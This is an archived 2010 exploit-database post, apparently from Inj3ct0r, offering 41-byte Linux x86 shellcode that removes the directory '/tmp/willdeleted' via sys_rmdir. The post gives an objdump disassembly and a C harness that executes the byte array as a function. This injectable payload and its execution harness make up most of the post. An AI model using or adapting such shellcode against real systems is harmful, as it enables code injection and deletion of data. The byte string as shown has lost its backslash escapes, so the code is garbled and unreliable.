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linux/x86 sys_rmdir("/tmp/willdeleted") shellcode

Posted on 31 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sys_rmdir(&quot;/tmp/willdeleted&quot;) shellcode 41 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==========================================================
linux/x86 sys_rmdir(&quot;/tmp/willdeleted&quot;) shellcode 41 bytes
==========================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
Name   : 41 bytes sys_rmdir(&quot;/tmp/willdeleted&quot;) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

/*

root@localhost:/home/gunslinger/shellcode# objdump -d rmdir

rmdir:     file format elf32-i386


Disassembly of section .text:

08048060 &lt;.text&gt;:
 8048060:	eb 11                	jmp    0x8048073
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	b0 28                	mov    $0x28,%al
 8048066:	31 db                	xor    %ebx,%ebx
 8048068:	5b                   	pop    %ebx
 8048069:	cd 80                	int    $0x80
 804806b:	31 c0                	xor    %eax,%eax
 804806d:	b0 01                	mov    $0x1,%al
 804806f:	31 db                	xor    %ebx,%ebx
 8048071:	cd 80                	int    $0x80
 8048073:	e8 ea ff ff ff       	call   0x8048062
 8048078:	2f                   	das    
 8048079:	74 6d                	je     0x80480e8
 804807b:	70 2f                	jo     0x80480ac
 804807d:	77 69                	ja     0x80480e8
 804807f:	6c                   	insb   (%dx),%es:(%edi)
 8048080:	6c                   	insb   (%dx),%es:(%edi)
 8048081:	64                   	fs
 8048082:	65                   	gs
 8048083:	6c                   	insb   (%dx),%es:(%edi)
 8048084:	65                   	gs
 8048085:	74 65                	je     0x80480ec
 8048087:	64                   	fs
root@localhost:/home/gunslinger/shellcode#
*/

#include &lt;stdio.h&gt;

char pussy[] =  &quot;xebx11x31xc0xb0x28x31&quot;
		&quot;xdbx5bxcdx80x31xc0xb0&quot;
		&quot;x01x31xdbxcdx80xe8xea&quot;
		&quot;xffxffxffx2fx74x6dx70&quot;
		&quot;x2fx77x69x6cx6cx64x65&quot;
		&quot;x6cx74x65x74x65x64&quot;;

int main(void)
{
	(*(void(*)()) pussy)();
     
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-31]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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